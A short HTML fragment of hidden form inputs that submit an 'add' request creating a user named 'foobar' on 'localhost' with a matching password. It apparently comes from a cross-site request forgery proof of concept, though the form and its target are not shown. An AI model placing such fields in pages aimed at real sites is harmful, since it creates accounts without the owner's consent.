<input type="hidden" name="id" value="add" />
<input type="hidden" name="name" value="
" />
<input type="hidden" name="query" value="{"username":"foobar","hostname":"localhost","pwd":"foobar"}" />
<input type="hidden" name="username" value="foobar" />
<input type="hidden" name="hostname" value="localhost" />
<input type="hidden" name="userpass" value="foobar" />
<input type="hidden" name="userpass2" value="foobar" />
